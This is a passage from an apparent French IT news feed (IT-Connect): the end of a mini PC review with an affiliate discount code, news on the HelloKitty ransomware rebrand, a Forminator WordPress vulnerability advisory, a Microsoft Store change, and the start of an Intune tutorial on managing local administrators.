<figure class="wp-block-image size-full"><img decoding="async" width="1200" height="626" data-id="79686" src="media/c6f0125b.NiPoGi-CK10-Apercu-GTA-V-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Apercu-GTA-V-1.jpg" alt="" class="wp-image-79686" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Apercu-GTA-V-1.jpg 1200w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Apercu-GTA-V-1-550x287.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Apercu-GTA-V-1-800x417.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Apercu-GTA-V-1-150x78.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Apercu-GTA-V-1-768x401.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Apercu-GTA-V-1-50x26.jpg 50w" sizes="(max-width: 1200px) 100vw, 1200px" /></figure>



<figure class="wp-block-image size-full"><a href="media/1c801b68.NiPoGi-CK10-Apercu-GTA-V-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Apercu-GTA-V-2.jpg"><img decoding="async" width="1200" height="626" data-id="79687" src="media/1c801b68.NiPoGi-CK10-Apercu-GTA-V-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Apercu-GTA-V-2.jpg" alt="" class="wp-image-79687" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Apercu-GTA-V-2.jpg 1200w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Apercu-GTA-V-2-550x287.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Apercu-GTA-V-2-800x417.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Apercu-GTA-V-2-150x78.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Apercu-GTA-V-2-768x401.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/NiPoGi-CK10-Apercu-GTA-V-2-50x26.jpg 50w" sizes="(max-width: 1200px) 100vw, 1200px" /></a></figure>
</figure>



<h2 class="wp-block-heading">V. Conclusion</h2>



<p>C'est l'heure du verdict ! Le mini PC NiPoGi CK10 n'est pas parfait, mais il y a plusieurs points à mettre en avant. Tout d'abord, sa puce<strong> Intel Core i5 de 12ème génération </strong>qui répond présente et assure un bon niveau de performances, tout comme <strong>son disque SSD NVMe</strong> qui offre de bonnes performances ! Quant à la RAM, disons que 16 Go, c'est le <strong>minimum recommandé pour utiliser un PC confortablement et pour le multitâches</strong>. Si cela ne suffit pas, vous pouvez toujours prévoir une <strong>mise à niveau de la RAM </strong>(comptez plus de 130 euros pour passer sur 64 Go), mais aussi du stockage, car vous pouvez<strong> ajouter un disque SATA</strong> au format 2.5 pouces et <strong>un second disque SSD NVMe</strong>.</p>



<p>NiPoGi cherche toujours à <strong>apporter un peu d'originalité au design de ses boitiers</strong>, et c'est le cas avec le CK10. J'ai apprécié<strong> la présence d'une connectique riche</strong>, avec notamment de <strong>nombreux ports USB dont 3 en façade</strong> (2 USB-A + 1 USB-C). Néanmoins, le boitier de <strong>ce mini PC est légèrement plus imposant que d'autres modèles</strong> (même s'il reste compact : 13,8 x 12,6 x 5 cm) et il y a également <strong>l'absence d'un lecteur de carte SD</strong>. C'est à préciser, car pour certains usages, cela peut avoir son importance. Par ailleurs,<strong> le port VGA présent sur le côté du boitier peut surprendre, mais c'est malgré tout un atout</strong> pour ce modèle. Ce petit détail plaira à ceux qui ont besoin d'une machine récente, compacte et équipée du VGA.</p>



<p>Maintenant, il est important de mettre un tarif en face de cette configuration et ce verdict. Découvrez notre offre spéciale ci-dessous.</p>



<p><strong><mark class="has-inline-color has-luminous-vivid-orange-color"><img src="media/5eed3b81.1f381.png" data-original-source="https://s.w.org/images/core/emoji/15.0.3/72x72/1f381.png" alt="🎁" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Profitez de notre offre spéciale pour acheter ce mini PC au meilleur prix :</mark></strong></p>



<p>Grâce au code "<strong>6Q5HMH9M</strong>", vous pouvez bénéficier de<strong> 7% de réduction sur ce mini-PC</strong> ! Ce code est <strong>valide jusqu'au 12 juin 2024</strong>, à 23:59 (heure française). </p>



<p><strong>Le tarif passe de 360,05 € à 334,85 € soit une réduction de 25,20 €.</strong></p>



<p>Vous devez saisir ce code dans votre panier, sur Amazon.fr. Voici le lien qui mène à l'offre :</p>



<ul>
<li><a href="https://amzn.to/3W7kACt" target="_blank" rel="noopener nofollow" title=""><strong>Acheter le NiPoGi CK10 au meilleur prix sur Amazon</strong></a></li>
</ul>



<figure class="wp-block-image size-full"><img decoding="async" width="316" height="235" src="media/aa96acf4.Bon-plan-promo-NiPoGi-CK10.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Bon-plan-promo-NiPoGi-CK10.png" alt="" class="wp-image-79709" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Bon-plan-promo-NiPoGi-CK10.png 316w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Bon-plan-promo-NiPoGi-CK10-150x112.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Bon-plan-promo-NiPoGi-CK10-50x37.png 50w" sizes="(max-width: 316px) 100vw, 316px" /></figure>



<p>N'hésitez pas à commenter cet article si vous avez des questions.</p>



<p><em>* Le lien ci-dessus intègre notre identifiant d'affiliation Amazon.</em></p><p>The post <a href="https://www.it-connect.fr/test-nipogi-ck10-mini-pc-avis-complet/">Test NiPoGi CK10 – Un mini PC avec Intel Core i5-12450H, 16 Go de RAM et un SSD NVMe</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=79976
title: Le ransomware HelloKitty change de nom, et publie des données et des clés de déchiffrement !
uri: Le-ransomware-HelloKitty-change-de-nom-et-publie-des-données-et-des
url: https://www.it-connect.fr/le-ransomware-hellokitty-devient-hellogookie-donnees-publiees/
content:
<p><strong>Opération de <em>rebranding </em>dans le monde de la cybercriminalité : le gang de ransomware HelloKitty devient HelloGookie ! À cette occasion, des informations sensibles issues de précédentes piratages ont été publiées, ainsi que des clés de déchiffrement ! Faisons le point.</strong></p>



<p>Le ransomware <strong>HelloKitty a été lancé en novembre 2020</strong> et il est connu pour s'introduire dans le réseau d'entreprises dans le but de<strong> chiffrer les données et les systèmes</strong>, ainsi que <strong>voler de données</strong>. À l'origine de nombreuses cyberattaques, le <a href="https://www.it-connect.fr/une-variante-du-ransomware-hellokitty-sattaque-aux-serveurs-vmware-esxi/" target="_blank" rel="noopener" title="">ransomware HelloKitty est capable de chiffrer les machines virtuelles des hôtes VMware ESXi</a>.</p>



<p>Désormais, <strong>HelloKitty va laisser sa place à HelloGookie </strong>! C'est celui que l'on appelle "Gookee/kapuchin0" et qui prétend être le créateur du ransomware HelloKitty, qui a fait cette annonce il y a quelques jours. <strong>Un nouveau « site vitrine » a été mis en ligne pour le ransomware HelloGookie</strong>. À l'heure actuelle, ce site ne référence aucune victime. Malheureusement, cela risque d'évoluer...</p>



<h2 class="wp-block-heading">Des données et des clés de déchiffrement divulguées !</h2>



<p>Pour célébrer ce nouveau départ, Gookee a publié<strong> quatre clés de déchiffrement qui peuvent être utilisées pour récupérer des fichiers chiffrés</strong> lors de précédentes attaques ! Ceci devrait permettre à<strong> certaines victimes de déchiffrer leurs données</strong>, et ce gratuitement. Un outil de déchiffrement pourrait être publié dans les prochains jours.</p>



<p>Il a également publié<strong> des informations internes volées à l'entreprise <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-reseau/cisco/" target="_blank" rel="noopener" title="Cisco" data-wpil-keyword-link="linked">Cisco</a></strong>, lors d'une attaque en 2022. Mais, ce n'est pas tout, puisqu'il a aussi mis en ligne <strong>des données issues du piratage de CD Projekt Red en 2021</strong> : des mots de passe pour accéder au code source de Gwent, Witcher 3 et Red Engine. </p>



<p>À l'époque, cette cyberattaque avait fait beaucoup de bruit :<strong> les cybercriminels étaient parvenus à chiffrer les serveurs de l'entreprise CD Projekt Red</strong>, un studio de développement polonais à l'origine de plusieurs gros titres, dont Cyberpunk 2077. </p>



<p>Suite à la publication de ces données, un groupe de développeurs s'est penché sur le sujet. Ils sont parvenus à<strong> partager des captures d'écran et des vidéos de la version de développement de Witcher 3</strong>, après avoir réussi à <strong>compiler le jeu à partir du code source divulgué</strong>. C'est surtout pour le fun, car ce jeu est disponible depuis plusieurs années.</p>



<p><a href="https://www.bleepingcomputer.com/news/security/hellokitty-ransomware-rebrands-releases-cd-projekt-and-cisco-data/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/le-ransomware-hellokitty-devient-hellogookie-donnees-publiees/">Le ransomware HelloKitty change de nom, et publie des données et des clés de déchiffrement !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=79981
title: Environ 300 000 sites WordPress menacés par une faille de sécurité critique dans Forminator !
uri: Environ-300-000-sites-WordPress-menacés-par-une-faille-de-sécurité
url:
https://www.it-connect.fr/environ-300-000-sites-wordpress-menaces-par-une-faille-de-securite-critique-dans-forminator/

content:
<p><strong>Utilisée par des centaines de milliers de sites WordPress, l'extension Forminator contient une faille de sécurité critique permettant à un attaquant de charger un fichier malveillant sur le serveur où est hébergé le site web. Faisons le point sur cette menace.</strong></p>



<p>L'extension Forminator, développée par WPMU DEV, sert à ajouter des formulaires de différents types à WordPress, dont des formulaires de paiements, ainsi que des quiz et des sondages.</p>



<p>Le CERT du Japon a mis en ligne <a href="https://jvn.jp/en/jp/JVN50132400/" target="_blank" rel="noopener nofollow" title="">un bulletin d'alerte </a>au sujet de la faille de sécurité critique <strong>CVE-2024-28890 </strong>présente dans Forminator et associée à <strong>un score CVSS v3 de 9.8 sur 10</strong>. "<em>Un attaquant distant peut obtenir des informations sensibles en accédant aux fichiers du serveur, modifier le site qui utilise le plugin et provoquer un déni de service.</em>", peut-on lire. </p>



<p>Par ailleurs, ce n'est pas la seule faille de sécurité évoquée, puisqu'il y en a deux autres avec une sévérité inférieure : la <strong>CVE-2024-31077</strong>, une injection SQL qui implique d'être administrateur du site <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/autres/wordpress/" target="_blank" rel="noopener" title="WordPress" data-wpil-keyword-link="linked">WordPress</a> pour être exploitée, et la <strong>CVE-2024-31857</strong> (une vulnérabilité de type XSS).</p>



<h2 class="wp-block-heading">Comment se protéger ?</h2>



<p>Pour se protéger de ces trois failles de sécurité,<strong> vous devez installer Forminator 1.29.3</strong>. Cette version a été publiée le<strong> 8 avril 2024</strong>. L'extension Forminator compte plus de 500 000 installations actives, et depuis le 8 avril 2024, elle a été téléchargée environ 180 000 fois. Ce qui signifierait que <strong>la mise à jour de sécurité n'a pas été déployé sur environ 320 000 sites WordPress</strong> et qu'ils sont vulnérables à une attaque.</p>



<p>Pour le moment, rien n'indique qu'elles sont exploitées dans le cadre d'attaques. Néanmoins, cela pourrait évoluer compte tenu de la popularité de cette extension et du nombre de cibles potentielles.</p>



<p>En résumé : si vous utilisez l'extension Forminator sur votre site WordPress, vous devez passer sur la version 1.29.3 le plus rapidement possible pour vous protéger de ces 3 vulnérabilités. </p>



<p><a href="https://www.bleepingcomputer.com/news/security/critical-forminator-plugin-flaw-impacts-over-300k-wordpress-sites/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/environ-300-000-sites-wordpress-menaces-par-une-faille-de-securite-critique-dans-forminator/">Environ 300 000 sites WordPress menacés par une faille de sécurité critique dans Forminator !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=80014
uri: À-partir-de-la-version-web-du-Microsoft-Store-vous-pouvez-téléchar
url: https://www.it-connect.fr/microsoft-store-web-telecharger-les-executables-applications/
title:
À partir de la version web du Microsoft Store, vous pouvez télécharger les exécutables d’applications !

content:
<p><strong>Microsoft a apporté une modification importante sur la version Web de son magasin d'applications Microsoft Store. Désormais, vous pouvez directement télécharger les exécutables des applications sur votre PC Windows 10 ou Windows 11. Faisons le point sur ce changement.</strong></p>



<p>C'est par l'intermédiaire de Rudy Huyn, Principal Architect chez Microsoft, que cette mise à jour de la version web du Microsoft Store a été mise en lumière. Désormais, lorsque vous visitez le Microsoft Store dans sa version web, via le site "<a href="https://apps.microsoft.com" target="_blank" rel="noopener nofollow" title="">apps.microsoft.com</a>", vous pouvez directement télécharger l'exécutable d'une application, ce qui <strong>fluidifie l'installation d'applications à partir de la version web</strong>.</p>



<p>Jusqu'à présent, pour installer une application depuis la version web, il fallait cliquer sur le bouton "<strong>Installer</strong>", puis cliquer sur "<strong>Ouvrir Microsoft Store</strong>", et confirmer l'installation avec le bouton "<strong>Installer</strong>". La présence de <strong>ce second bouton installer étant là pour s'assurer que l'installation est initiée par l'utilisateur</strong>, et non par un script potentiellement malveillant. Néanmoins, "<em>les feedbacks des utilisateurs ont indiqué que le processus d'installation comportait trop de clics.</em>", peut-on lire dans le <a href="https://twitter.com/RudyHuyn/status/1781839212935069856" target="_blank" rel="noopener nofollow" title="">tweet posté sur X (Twitter) par Rudy Huyn</a>.</p>



<h2 class="wp-block-heading">Télécharger l'exécutable d'une application du Microsoft Store</h2>



<p>Depuis plusieurs mois, Microsoft travaille sur un changement pour rendre plus simple et plus direct l'installation d'une application depuis la version web. Désormais, le fait de cliquer sur "<strong>Installer</strong>" permet d'obtenir un package au format "<strong>.exe</strong>" qui contient le code de l'application et permet de l'installer une fois le téléchargement effectué. Ainsi, <strong>nous passons de 3 clics à 2 clics, sans pour autant négliger l'aspect sécurité</strong>, car Microsoft a pris des précautions.</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="457" src="media/29faeef0.Microsoft-Store-Telecharger-applications-au-format-EXE.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Microsoft-Store-Telecharger-applications-au-format-EXE.jpg" alt="" class="wp-image-80015" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Microsoft-Store-Telecharger-applications-au-format-EXE.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Microsoft-Store-Telecharger-applications-au-format-EXE-550x314.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Microsoft-Store-Telecharger-applications-au-format-EXE-150x86.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Microsoft-Store-Telecharger-applications-au-format-EXE-768x439.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Microsoft-Store-Telecharger-applications-au-format-EXE-50x29.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>L'autre avantage de cette évolution, c'est qu'elle <strong>facilite le téléchargement des packages exécutables des applications publiées sur le Microsoft Store</strong>. Ainsi, il représente une source fiable pour télécharger des paquets d'installations de nombreuses applications depuis un seul endroit.</p>



<h2 class="wp-block-heading">Augmenter le nombre d'installations effectuées à partir du Microsoft Store</h2>



<p>Si la firme de Redmond a effectué cette modification, c'est également pour qu'il y ait un meilleur taux de conversion pour qu'il y ait plus d'installations. </p>



<p>Une enquête a été menée sur les 5 derniers mois et voici les résultats observés par Microsoft : "<em>Cette nouvelle méthode d'installation des applications du magasin a entraîné, en moyenne, une augmentation de 12 % des installations et de 54 % du nombre d'applications lancées après l'installation</em>."</p>



<p>Les résultats étant positifs, Microsoft a pris la décision d'étendre la disponibilité de cette nouveauté à tous les utilisateurs de Windows 10 et Windows 11.</p>



<p><a href="https://www.neowin.net/news/microsoft-now-lets-you-download-app-executables-directly-from-the-microsoft-store-website/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/microsoft-store-web-telecharger-les-executables-applications/">À partir de la version web du Microsoft Store, vous pouvez télécharger les exécutables d’applications !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=74657
title: Intune – Gérer le groupe « Administrateurs » local des machines Windows
uri: Intune-Gérer-le-groupe-Administrateurs-local-des-machines
url: https://www.it-connect.fr/intune-gerer-groupe-administrateurs-local-windows/
content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>Dans ce tutoriel, nous allons apprendre à gérer le groupe "Administrateurs" local des appareils Windows 10 et Windows 11 à l'aide d'une stratégie Intune. Ceci s'avère particulièrement utile pour ajouter un utilisateur ou un groupe Entra ID (Azure AD) en tant qu'administrateur d'un ensemble d'appareils.</strong></p>



<p>Le groupe "<strong>Administrateurs</strong>" présent sur chaque machine Windows est particulièrement sensible, car tous les membres de ce groupe peuvent administrer l'ordinateur : installation d'applications, modification des paramètres du système, etc... De ce fait, il est important de gérer les membres de ce groupe afin d'en garder la maitrise et la gestion centralisée par une stratégie permet d'avoir une configuration homogène.</p>



<ul>
<li><a href="https://youtu.be/aEAkLQjZlzs" target="_blank" rel="noopener nofollow" title="">Cliquez ici pour regarder la vidéo sur YouTube</a></li>
</ul>



<iframe class="iframe_youtube" src="https://www.youtube.com/embed/aEAkLQjZlzs" title="" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>



<p>Dans un environnement <em>on-premise</em> basé sur Active Directory et sans Intune, nous pouvons nous appuyer sur les stratégies de groupe (GPO) :</p>



<ul>
<li><a href="https://www.it-connect.fr/gpo-definir-un-utilisateur-administrateur-local-de-tous-les-pcs/" target="_blank" rel="noopener" title="Active Directory : gérer le groupe «&nbsp;Administrateurs&nbsp;» local des machines par GPO">Gérer le groupe Administrateurs local par GPO</a></li>
</ul>



<p><strong>Mais aujourd'hui, c'est bien la gestion à partir de Microsoft Intune et les options disponibles dans Microsoft Entra ID qui vont nous intéresser ! </strong></p>



<ul>
<li><a href="https://www.it-connect.fr/comment-debuter-avec-microsoft-intune/" target="_blank" rel="noopener" title="">Comment débuter avec Intune ?</a></li>
</ul>



<h2 class="wp-block-heading">II. La configuration cible</h2>



<p>Il me semble important de vous présenter la configuration cible présentée dans ce tutoriel, car les possibilités sont nombreuses ! En effet, vous verrez que vous avez l'opportunité d'ajouter des membres au groupe "<strong>Administrateurs</strong>" sans toucher aux membres déjà présents, ou à l'inverse de le purger pour ajouter les membres présents dans la stratégie Intune que nous allons créer.</p>



<p><strong>En ce qui me concerne, voici la configuration que je souhaite déployer :</strong></p>



<p>Nous allons créer un groupe de sécurité nommé "<strong>Admins_PC</strong>" dans Entra afin que <strong>tous les membres de ce groupe</strong> soient en mesure d'administrer les appareils Windows 10 et Windows 11 de notre parc informatique. </p>



<p>De plus, nous souhaitons <strong>supprimer tous les membres présents dans le groupe "Administrateurs"</strong>, sauf les utilisateurs locaux nommés "<strong>adm_itconnect</strong>" et "<strong>Administrateur</strong>" (qui lui est désactivé par une autre stratégie et ne peut pas être retiré aussi simplement de ce groupe). L'utilisateur "<strong>adm_itconnect</strong>" quant à lui est géré par Windows LAPS.</p>



<p>Vous allez me dire : pourquoi supprimer les membres déjà présents du groupe "Administrateurs" ? Tout simplement, car je souhaite entièrement maîtriser les membres de ce groupe et je ne souhaite pas que le propriétaire de l'appareil, qui est un utilisateur lambda, soit Administrateur local de la machine.</p>



<ul>
<li><a href="https://www.it-connect.fr/tuto-intune-configuration-windows-laps/" target="_blank" rel="noopener" title="">Configurer Windows LAPS avec Intune</a></li>
</ul>



<h2 class="wp-block-heading">III. Le propriétaire de l'appareil est administrateur local</h2>



<p>Lorsqu'un appareil est joint Entra ID par un utilisateur, ce dernier devient automatiquement administrateur local de la machine Windows. La configuration que nous allons effectuer aujourd'hui va permettre de l'exclure ou de le conserver, en fonction des valeurs associées aux paramètres.</p>



<p>Récemment, Microsoft a introduit <strong>deux nouveaux paramètres</strong> dans la section "<strong>Paramètres de l'appareil</strong>" accessible via le portail Microsoft Entra puis "<strong>Appareils</strong>".</p>



<ul>
<li><strong>Le rôle Administrateur général est ajouté en tant qu’administrateur local sur l’appareil lors de la jointure Microsoft Entra (préversion)</strong></li>
</ul>



<p>Ce paramètre permet d'indiquer si oui ou non, un Administrateur général du tenant doit être ajouté en tant qu'administrateur local d'un appareil au moment de la jonction à Microsoft Entra ID. Tout dépend de vos besoins et votre façon de gérer votre SI, mais pour des raisons de sécurité et dans l'objectif de cloisonner les rôles, il est préférable qu'un Administrateur général ne soit pas également administrateur des appareils. Cette option offre plus de contrôle, même si ce n'est pas rétroactif pour les appareils déjà inscrits.</p>



<ul>
<li><strong>L’utilisateur qui inscrit son appareil est ajouté en tant qu’administrateur local sur l’appareil lors de la jointure Microsoft Entra (préversion)</strong></li>
</ul>



<p>Ce paramètre permet d'indiquer si oui ou non, l'utilisateur à l'origine de l'inscription de l'appareil doit être ajouté en tant qu'administrateur local sur cet appareil, au moment de la jonction à Microsoft Entra ID. Ceci n'est pas rétroactif pour les appareils déjà inscrits, mais au moins, cela vous permet de faire votre choix pour l'avenir.</p>



<p><strong>Voici un aperçu de ces deux paramètres :</strong></p>



<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="800" height="552" src="media/2650be79.Entra-ID-Intune-Parametres-de-ladministrateur-local-800x552.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Entra-ID-Intune-Parametres-de-ladministrateur-local-800x552.png" alt="" class="wp-image-79371" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Entra-ID-Intune-Parametres-de-ladministrateur-local-800x552.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Entra-ID-Intune-Parametres-de-ladministrateur-local-550x380.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Entra-ID-Intune-Parametres-de-ladministrateur-local-150x104.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Entra-ID-Intune-Parametres-de-ladministrateur-local-768x530.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Entra-ID-Intune-Parametres-de-ladministrateur-local-50x35.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Entra-ID-Intune-Parametres-de-ladministrateur-local-130x90.png 130w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Entra-ID-Intune-Parametres-de-ladministrateur-local.png 1000w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<h2 class="wp-block-heading">IV. Gérer les administrateurs des appareils : deux solutions</h2>



<p>Avant de commencer, sachez que les utilisateurs avec le rôle "<strong>Administrateur général</strong>" pourront administrer les appareils, et que vous pouvez gérer le groupe "<strong>Administrateurs</strong>" local de deux façons :</p>



<ul>
<li><strong>Avec l'attribution du rôle "Administrateur local de l’appareil joint Microsoft Entra" d'Entra</strong></li>
</ul>



<p>Cette méthode peut s'avérer pratique, mais elle n'est pas flexible : les membres de ce groupe seront administrateurs de tous les appareils.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="358" src="media/bcc92edb.inistrateur-local-de-lappareil-joint-Microsoft-Entra-800x358.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Administrateur-local-de-lappareil-joint-Microsoft-Entra-800x358.png" alt="Administrateur local de l’appareil joint Microsoft Entra" class="wp-image-74707" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Administrateur-local-de-lappareil-joint-Microsoft-Entra-800x358.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Administrateur-local-de-lappareil-joint-Microsoft-Entra-550x246.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Administrateur-local-de-lappareil-joint-Microsoft-Entra-150x67.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Administrateur-local-de-lappareil-joint-Microsoft-Entra-768x344.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Administrateur-local-de-lappareil-joint-Microsoft-Entra-50x22.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Administrateur-local-de-lappareil-joint-Microsoft-Entra.png 950w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<ul>
<li><strong>Avec une stratégie de sécurité Intune</strong></li>
</ul>



<p>Cette méthode, que nous allons mettre en place, offre plus de flexibilité, car nous pouvons cibler uniquement un ensemble d'appareils (affectation par groupe) ou tous les appareils.</p>



<h2 class="wp-block-heading">V. Préparer le groupe de sécurité Entra ID</h2>



<p>À partir du portail Microsoft Entra, nous allons créer un groupe de sécurité. Cliquez sur "<strong>Tous les groupes</strong>" sous "<strong>Groupes</strong>" puis cliquez sur "<strong>Nouveau groupe</strong>". Ce groupe de sécurité s'appellera "<strong>Admins_PC</strong>" et il aura un membre : l'utilisateur qui doit être administrateur local des appareils.</p>



<ul>
<li><a href="https://entra.microsoft.com" target="_blank" rel="noopener nofollow" title="">Accéder au centre d'administration Entra</a></li>
</ul>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="498" src="media/d07597d9.eer-un-groupe-de-securite-Entra-ID-Exemple-Admins_PC-800x498.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Creer-un-groupe-de-securite-Entra-ID-Exemple-Admins_PC-800x498.png" alt="Créer un groupe de sécurité Entra ID - Exemple Admins_PC" class="wp-image-74658" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Creer-un-groupe-de-securite-Entra-ID-Exemple-Admins_PC-800x498.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Creer-un-groupe-de-securite-Entra-ID-Exemple-Admins_PC-550x342.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Creer-un-groupe-de-securite-Entra-ID-Exemple-Admins_PC-150x93.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Creer-un-groupe-de-securite-Entra-ID-Exemple-Admins_PC-768x478.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Creer-un-groupe-de-securite-Entra-ID-Exemple-Admins_PC-50x31.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Creer-un-groupe-de-securite-Entra-ID-Exemple-Admins_PC.png 980w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Validez la création du groupe de sécurité. Nous pouvons passer à la création de la stratégie Intune.</p>



<h2 class="wp-block-heading">VI. Créer la stratégie Intune</h2>



<p>Désormais, nous allons basculer sur le Centre d'administration Microsoft Intune pour créer une nouvelle stratégie.</p>



<ul>
<li><a href="https://intune.microsoft.com" target="_blank" rel="noopener nofollow" title="">Accéder au Centre d'administration Intune</a></li>
</ul>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p><strong>Remarque </strong>: si vous avez besoin de gérer le groupe "Administrateurs" local de machines jointes dans Entra ID (Azure AD) mais aussi pour des machines "hybrides", vous devez configurer deux stratégies distinctes. Ceci permettra d'éviter certaines erreurs d'application de la stratégie.</p>
</blockquote>



<p>Cliquez sur la gauche sur "<strong>Sécurité du point de terminaison</strong>" (1), puis sur "<strong>Protection de compte</strong>" (2) afin de pouvoir "<strong>Créer une stratégie</strong>" (3). C'est également de cette façon que l'on peut définir une stratégie pour Windows LAPS.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="631" src="media/edc59f99.Intune-Gerer-groupe-administrateurs-local-Etape-1-800x631.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Intune-Gerer-groupe-administrateurs-local-Etape-1-800x631.png" alt="" class="wp-image-74660" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Intune-Gerer-groupe-administrateurs-local-Etape-1-800x631.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Intune-Gerer-groupe-administrateurs-local-Etape-1-550x434.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Intune-Gerer-groupe-administrateurs-local-Etape-1-150x118.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Intune-Gerer-groupe-administrateurs-local-Etape-1-768x606.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Intune-Gerer-groupe-administrateurs-local-Etape-1-50x39.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Intune-Gerer-groupe-administrateurs-local-Etape-1.png 900w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Choisissez la plateforme "<strong>Windows 10 et ultérieur</strong>", puis sélectionnez le profil "<strong>Modifier l'appartenance du groupe de l'utilisateur</strong>".</p>



